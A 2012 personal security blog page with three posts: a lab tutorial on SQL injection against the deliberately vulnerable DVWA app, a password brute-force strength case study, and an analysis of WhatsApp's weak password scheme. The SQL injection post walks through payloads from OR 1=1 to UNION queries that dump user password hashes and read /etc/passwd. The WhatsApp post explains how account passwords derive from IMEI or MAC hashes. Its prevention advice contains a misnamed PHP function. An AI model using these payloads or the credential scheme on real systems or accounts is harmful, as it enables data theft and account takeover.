Friday, November 30, 2012

SQL Injection with DVWA.


Hello all!
It's been a long time since I wrote my last article about password strength. I've had my semester end exams going on and finally they're over! :D Now holidays are a great way to engage in the stuff you like to do... so here I am. Coming up is an article about SQL injection in web applications.

SQL Injection -

SQL Injection is a web application attack. Through SQL Injection, we can insert rogue SQL commands in a web form field (e.g. login pages). It is possible to extract whole databases of MySQL or MSSQL stored on a server. This input validation vulnerability is caused by incorrect filtering of escape characters which may manipulate the SQL query going from a web application to the database. SQL Injection is one of the top application security risks as stated by OWASP.


How it works -


Consider a simple login form. It has two fields - username and password. When a user is authenticated through this login, an SQL query is sent to the database which looks like this:


SELECT username, password FROM usersdb WHERE username=$user;
$user is the username which is entered through login. An example would be--

SELECT username, password FROM usersdb WHERE username='vipul';
User can manipulate the data entered so as to escape out of the username value and whatever written thereafter  will be treated as a part of SQL query being sent. If the attacker entered "abc' OR 1=1--" The resulting SQL query will look like following--

SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';
Notice that the single quote after 'abc' closed the username field and the following part becomes SQL query. But what's that OR 1=1-- ??
'OR' is a conjunction in SQL syntax and 1=1 is a condition that will always evaluate to true. So, irrespective of whatever you enter in the user field, this condition holds true, and hence, it will essentially return all of the records in the 'userdb' database. The "--" is a comment in SQL. It is used to tell the SQL server to ignore everything that is written afterwards. Here we use comment to avoid getting errors because of that trailing single quote (') which does not match anywhere. Sometimes, '#' is also used to indicate beginning of a comment.

With the knowledge of SQL, one can manipulate the query with union, concat, select statements which have the potential to extract username passwords, insert, modify, delete records, and in the worst case, create a php shell which may lead to total compromise of the system. 


Finding SQL Injection vulnerability -


A standard test to see if a web form is vulnerable to SQL injection is by putting a single quote in the field. If you get back a MySQL error, the website is most likely vulnerable to SQL injection. However, absence of a returning MySQL error doesn't imply that website is protected against SQL injection at all.

Sometimes, the returning error could be present inside the source of the webpage. Also, different developers have developed their web applications differently. The structure and syntax of SQL query may also vary from site to site. The same generic 'true condition' approach may not work with all websites. Attacker may have to try different combinations from SQL Cheat sheets.
Some developers implement Javascript validation at the client side which prevents user from making request that has quotes (') in it. Javascript validation offers no security to the actual execution of SQL statements.
Also, whenever an SQL error occurs, the developer may return a generic page with no information at all. In such a case, blind SQL injection is used which is very difficult but not impossible to execute.
Different Google dorks are available to search specifically for SQL injection vulnerabilities. A google search will reveal them. Also, exploit-db has got a nice collection of all types of google dorks which is a must-see for people wanting to learn hacking.

Trying SQL injection on public websites may land you in trouble... Hence it is always better to try this on your local machine.


Installing and running DVWA on webserver-


First of all, you need to have a web server on which you can host your web application to be exploited. Windows users can download WAMP server from
 Here. There is another very popular distribution called XAMPP server for windows as well as linux. Choice is yours.
I wont go into the details of installing and running the server. There are lots of tutorials you can google for. If you get stuck up anywhere, let me know through comments below.
Also, download the DVWA application from here. DVWA stands for 'Damn Vulnerable Web Application' and is specifically designed for security professionals to test their skills. After downloading, extract the contents to a folder 'dvwa' under your webroot directory.
Generally, for windows users with wamp, it should be:

C:\wamp\www
And for xampp users,

Windows    : C:\xampp\htdocs\
Linux          : /opt/lampp/xampp/
But it may vary depending on your individual installation.
Soo.. after the installation, try accessing
http://localhost/dvwa/
from your web browser. It should present you with a screen like this...


This is the main login screen of DVWA. Log in with:

Username = admin
Password = password
(I know.. but weak password doesn't matter since it is damn vulnerable! :P)
It will show the main page with some warnings and disclaimers.
From the menu, open the 'dvwa security' tab and set the 'script security' setting to 'low'. Also make sure that PHPIDS is turned off.

Now you're ready to execute SQL Injection. Make sure your browser security plugins are turned off because they might interfere in the process.

Performing SQL injection -


For this tutorial, I've installed DVWA on a windows server and will be exploiting it from my ubuntu linux inside vmware. If you get the 'forbidden' error while accessing the directory from other machines or vmware,

open the .htaccess file and make the following changes in it...

Then restart the server and go to the SQL Injection tab.

Our scope will be limited to extracting username and password from the database for this tutorial. However, as I mentioned earlier, you can do a lot more things with SQL commands. 
The following paras are divided into 3 parts.. text input (the text to be entered into the user ID textbox), resulting SQL query (the query that gets sent to the server) followed by result and explanation.

Input         : 1

SQL Query : SELECT firstname, surname FROM users WHERE userid='1';
Result       :
ID: 1

First name: admin
Surname: admin
Nothing surprising here, you enter the user ID, you get their name. Similarly, try entering 2,3 etc.

Input         : a' OR 1=1--
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' OR 1=1--;
Result       :

You have an error in your SQL syntax; ...

So the page says error is near " ' ", probably our '--' comment isn't working, lets replace that with '#'.

Input         : a' OR 1=1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' OR 1=1 #;
Result       :

Whoa! That pulled out whole record of firstname and surnames! Ideally, it should return only one (mostly, first) record.. but its not called dvwa for nothing! ;)


Input         : a' ORDER BY 1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' ORDER BY 1 #;
Result       : Nothing

We use the 'order by' statement to determine number of columns in the SQL query. Replace "order by 1" with "order by 1,2" and so on until you get an error.

Unknown column '3' in 'order clause'

So there are only two columns in the returning SQL statement. Fair enough.

Input         : a' UNION SELECT 1,2#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT 1,2 #;
Result       :

ID: a' union select 1,2 #
First name: 1
Surname: 2

Union statement is used to combine two statements. We input 1 and 2.. and that's what we get in the "First name" and "Surname" field.
Now replace 1 and 2 with @@version, user(), @@hostname, database() and this will fetch you interesting information.

Input         : a' UNION SELECT table_name,null FROM information_schema.tables #

SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT table_name,null FROM information_schema.tables #;
Result       :

Whoa! That escalated quickly! According to SQL standards, there is a standard database called 'information_schema' in every SQL installation. This database holds information about all other tables and their respective columns. Here we probe that database to find out that there are too many tables.. So, we'll filter the result with WHERE clause.

Input         : a' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database() #
Result        :
This will display the tables that are present in the current database. Well, there are only 2, guestbook and users. Hmm, users look interesting. Let's dig further.

Input         : a' UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema=database()#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema=database()#;
Result       :

comment_id, comment, name, user_id, first_name, last_name, user, password, avatar (in the 'First name' field)

Now we probe information_schema.columns which gives the columns present in the current database. They maybe either from guestbook table or users table. Out of these, 'users' and 'password' seem interesting and likely to be placed in 'users' table. Now we perform the final query to extract username and password.

Input         : a' UNION SELECT user,password FROM users #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT user,password FROM users#;
Result       :

Bingo! There you see username and passwords! This query was relatively simple. Now we've got the username and passwords. Passwords are md5 hashed and it should be easy to crack with any online tool or rainbow tables. It is possible to load a file from remote server with SQL commands like - 

SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT null,load_file('/etc/passwd') #;

Please note that there are some better and sophisticated SQL queries for injection. I have kept this one relatively simple for the sake of understanding.

Prevention against SQL Injection -

Sanitization of user input is must. Creating a whitelist of accepted characters and limiting the length of user input is recommended. PHP offers some inbuilt functions like mysql_real_escape() and stripslashes() which can be used before query is passed. As we saw, performing SQL Injection becomes possible primarily because displaying of SQL errors. So, avoid error messages from popping up into webpage. Automated SQL Injection tools like sqlmap and acunetix are also available which can be used to test the vulnerabilities of your database. 


I hope you enjoyed reading my article. :)

Thursday, November 8, 2012

Password strength case studies

PASSWORDS! They're everywhere! Turn on your computer, you need a password for your user account, log in to your facebook, you need a password, go to an ATM machine, you need a password, make online transactions, you need a password. They're de facto standard of our modern lifestyle. In terms of access control, passwords are one of the 3 types of information ('something you know', 'something you have', 'something you are') that can be used for authentication -or simply- logging in.

The main purpose of having a password is simple. The private or confidential information of an individual or an organisation must not be revealed to another person or party. Access to an information system must be limited to a person or group of people. That's why passwords come into picture but just having a password based access is not a solution at all!

Most of the times, passwords are created by users and as goes the principles of psychology, people tend to choose passwords which are easier to remember. Examples of such passwords include, "password", "password123", "iloveyouangelina", "123456", or the person's own name, their gf/bf's name, their birthdate, their birthplace or usually it is something they admire the most like their son/daughter's name, name of a celebrity or some word related to their religion. I'm pretty sure more than half of the people use these kind of passwords. The problem lies here, these passwords are easier for you to remember, but also these are easy to guess for antagonists out there who hate you! The point here is, the passwords which you use for your online accounts or any other, should be "strong password". This might prevent your facebook account from being accessed by your stalking ex who just 'guessed it'! :P

A strong password maybe something which satisfies the following:
1. It should be min. 10 characters in length. (passwords upto 25-30 in length are okay, but that gives you more pain in remembering them. Also there are chances for you to forget them.)
2. It should have both uppercase letters, lowercase letters, numbers and special characters. Having these four types of characters in the password is exceptionally useful, it exponentially increases the strength of your password. Some websites now make it mandatory to have atleast one from these four sets of characters in your password while registering.
3. It goes without saying, but weak passwords as mentioned above are a big NO NO!
4. Although it is not mandatory, some organisations and websites enforce a policy of changing your password every 3 or 4 months and they have a limit of 10-12 on password repetition cycle.

Before going ahead, I'd like to brief you about brute forcing. Brute forcing is a way of gaining access to somebody's account by simply trying out all the possible combinations of characters. It's like throwing mud (well, alot of mud!) against a wall and seeing what sticks! There are automated programs that try out all the possible passwords (like a, b, c, d, ...aa, ab, ac, .. zazaa ... aaa1.. awdg343 and so on) until one of them matches for the given username. Obviously anyone's password will be one of all the permutations of characters. However, one point is in our favour. This process of generating all possible combinations of characters and trying them against a password field takes a lot of time and computing power. But then there is Moore's law of increase in computing power. Your best bet would be to adhere to strong passwords.

Now let's consider few password combinations and the time required to crack them by brute force:

1. "facebook"
Take for example, 'facebook' as your password. This password is 8 characters long and has only lowercase letters. Let us assume that an attacker knows that you have only lowercase letters in your password. Therefore, each character must be any one from the set of 26 smallcase letters {a, b, c, d, e ... y, z}. Since there are 8 positions in the password, each position may have one of the 26 smallcase letters independent of others. Hence, total there are 26x26x26x26x26x26x26x26 = 2.088E11 i.e. 208 billion possible combinations!
But that's really not a big deal, with today's computing power of trying ~ 4 billion passwords per second, this password can be cracked in less than a minute!
P. S. This is excluding the fact that if your password is as simple as "facebook", attacker would simply guess it! :D

2. "FeedBackForm"
Now this password has little more length - 12 characters. This one contains both uppercase and lowercase letters. Therefore, each position out of 12 can have one out of 26 (uppercase) + 26 (lowercase) = 52 characters. In computers, we treat uppercase A and lowercase a separately. Again, irrespective of other characters. Chances of each position being occupied by one of 52 letters is mutually exclusive i.e. probability for each character is 1/52. (I miss my discrete mathematics class :P ). So, if we calculate,
52x52x .... 12 times. This amounts to, 3.909E20 ! That's 390 billion billion combinations. Now that will take 3 thousand years to crack the password. It is nearly impossible for anything to stick that long. If supercomputers are employed and grids of high-performing computers are engaged, this task can be distributed to all of them which can reduce the maximum time required to few months if not years.

3. "LinkHere73"
Notice that we reduce the password length to 10. One more character set is now added to   the password, that is, digits. Digits can be any character from 0-9. Now, the character set for our password becomes 52 (uppercase n lowercase letters) + 10 (digits) = 62. Again, each of the 10 characters from the password can be any one of these 62. So, 62 objects, for 10 positions, that gives us 8.39E17 or 83 million billion. This will take ~ 6 years for a conventional PC to crack it.

4. "h@cK52Mon!l"
Here we have used additional special characters-@,! in our password. Length of this password is 11 characters. This is a typical example of a strong password. Total character set is both case letters + digits + special characters. That comes out to be around 95 (I have considered only printable characters from the ASCII set here). So, again, 95 characters individually for 11 positions, 95^11 = 5.688E21. 5688 billion billion. Considering the same computing power, this will take 4 thousand years to crack this password which is near to impossible to be done by a single computer.

5. "S00p3r!!$7r0nGPa$$wrD"
This monster over here, is an example of super strong password. This is a type of password that we hackers and security professionals use. It has got all the four character sets and it is 21 characters long. Calculating with permutations, we get 95^21 = 3.4E41. This is a really really huge number. Even if we double up the power of a high-performance desktop PC, (10 billion combinations per second, provided that the target system doesn't crash :D),  it would take some thousand billion billion years i.e. 13 sextillion years to crack one single 21 character password! That is waaaayyy greater than the age of universe which started 14 billion years ago!
It is a waste of time to deploy computers to crack this type of super strong passwords, one has higher probability of success in mere phishing or social engineering.

One last note, in the examples mentioned above, we assume that the target system gives us unlimited number of attempts to try a username-password combination. This is not the case in real world. After a few unsuccessful attempts, websites or servers may block you for a predefined period of time. If this action persists, the admin may block the IP address or the account altogether. Also, having a strong password is not the foolproof solutions since there are many other methods like trojans, keyloggers, MITM attacks that can be used to extract your password without even interacting with the authentication system.

related: http://vipulchaskar.blogspot.in/2010/07/you-are-on-target-common-user.html

Saturday, October 27, 2012

Whatsapp security torn apart

Whatsapp is something you probably use right now, or atleast heard of its name. It is a cross platform IM application for smartphones. Along with messages, people can also send audio, video and images. It is available for all leading smartphone platforms like android, iOS, blackberry, Symbian, Windows etc. Whatsapp handles a few billion messages everyday. That is, approx. more than 50,000 messages are being sent every second! This signifies the popularity of this smartphone app. That is incredible success for a company which was started just a few years ago.

Indeed whatsapp is a great alternative to conventional texting, no doubt. But along with all the merits and successes, this app has got some drawbacks too. It has been heavily criticized for its security issues, mainly cryptographic standards and the way it handles user's personal data. Following paragraphs will elaborate on the security mechanisms this app uses.

As most of the popular instant messaging clients like yahoo and gtalk do, whatsapp uses XMPP i.e. eXtensible Messaging and Presence Protocol. Whatsapp implements a modified version of this standard. On installing this app, it creates an account on whatsapp's server.
Its username, or technically known as 'Jabber ID' is concatenation of the user's country code and their mobile number.
For example, 911234567890 where 91 is the country code followed by 10 digit mobile number.
username : <mobile no>@s.whatsapp.net

There's something interesting about the password. It is generated from the phone's IMEI number or MAC address.
For android devices, the password is md5 hash of the phone IMEI no reversed.
password : md5(strrev($imei))
For iOS devices, the password is md5 hash of the device's Wireless Interface card MAC address, written twice. Mac address is concatenated with itself and its md5 is found out.
password : md5(mac+mac)

Messages are sent as TCP packets. As whatsapp puts it, no messages are stored on their servers once they're delivered to the recipient. For sending of multimedia like audio, video or pictures, the data is first uploaded to the HTTP server. A link to the uploaded file is sent to the recepient's phone alongwith thumbnail file, if required.

Previously, till August 12, 2012, messages were being sent in cleartext. Anyone on the same wifi network was able to sniff the packets and read messages. This gave attackers ability to launch a session hijacking attack. However, currently messages are being sent encrypted for iOS and android. Whatsapp does not specify what encryption standard it implements for some undisclosed location. The encryption algorithm it uses currently has been reverse engineered, especially for iOS devices. Here's a link to the article:
http://pastebin.com/g9UPuviz
Overall verdict is that the current encryption mechanisms are not according to a standard.

This app uses phone's IMEI number or mac address as password. Something that is easily accessible to someone in physical contact with the phone. IMEI number can be found out with apps available in the market, also it is printed on the back side of the battery. Someone using the same wifi network as you, can easily find out the mac address of the iOS device, without being in physical contact, by sniffing. Therefore, anyone using a public wifi for whatsapp is at risk of getting their data sniffed and their account can be used to send and receive messages. All an attacker has to know is victim's mobile number (which is obviously known to him) and the phone's mac address or IMEI to enter into a script. Then they are able to send and receive messages from the compromised account.

Initial login at whatsapp's server uses digest access authentication. You can try this out yourself:
https://r.whatsapp.net/v1/exist.php?cc=<country code>&in=<mobile no>&udid=<password>

Here,
country code and mobile no are to be replaced by your country code and mobile no, and password is something you can get from md5 of IMEI or Mac, as explained earlier.
On successful request, it should give you a status response 'ok' meaning that you're valid over there on whatsapp.. :P
Although whatspp doesn't officially provide its API, there is an open source project called 'WhatsAPI'. Those guys have done a great job of creating whatsapp's API by reverse engineering. It has been very popular though some legal issues have been surrounding it recently.
https://github.com/venomous0x/WhatsAPI
This API is coded in both PHP and Python and can be used in integration with web apps. It can be used to send whatsapp messages to any number. Other such third party web-based API is available:
http://www.whatsapp-api.com/

The API itself is hosted on their site and can be accessed with HTTP requests. Although this service costs money to start using it. 
One more thing we all know, whatsapp shares your contacts with their server to see which contacts are present. The way it is done is very insecure. The mobile numbers of your contacts are sent as an array through HTTP request parameter as follows:

https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3&u[]=$friend4

The verdict... as you can see, whatsapp has got so much to work on security. At the same time, its presence cannot be denied in our daily life. iOS users, do not use it on public wifi, 3G or your own wifi with no other users will do. If you are concerned about security, avoid giving your phone to people who you don't trust because that will be an easy way for them to know your IMEI. We hope that they come up with better alternative to current passwords and standard cryptography implementations to increase reputability with the security community too :)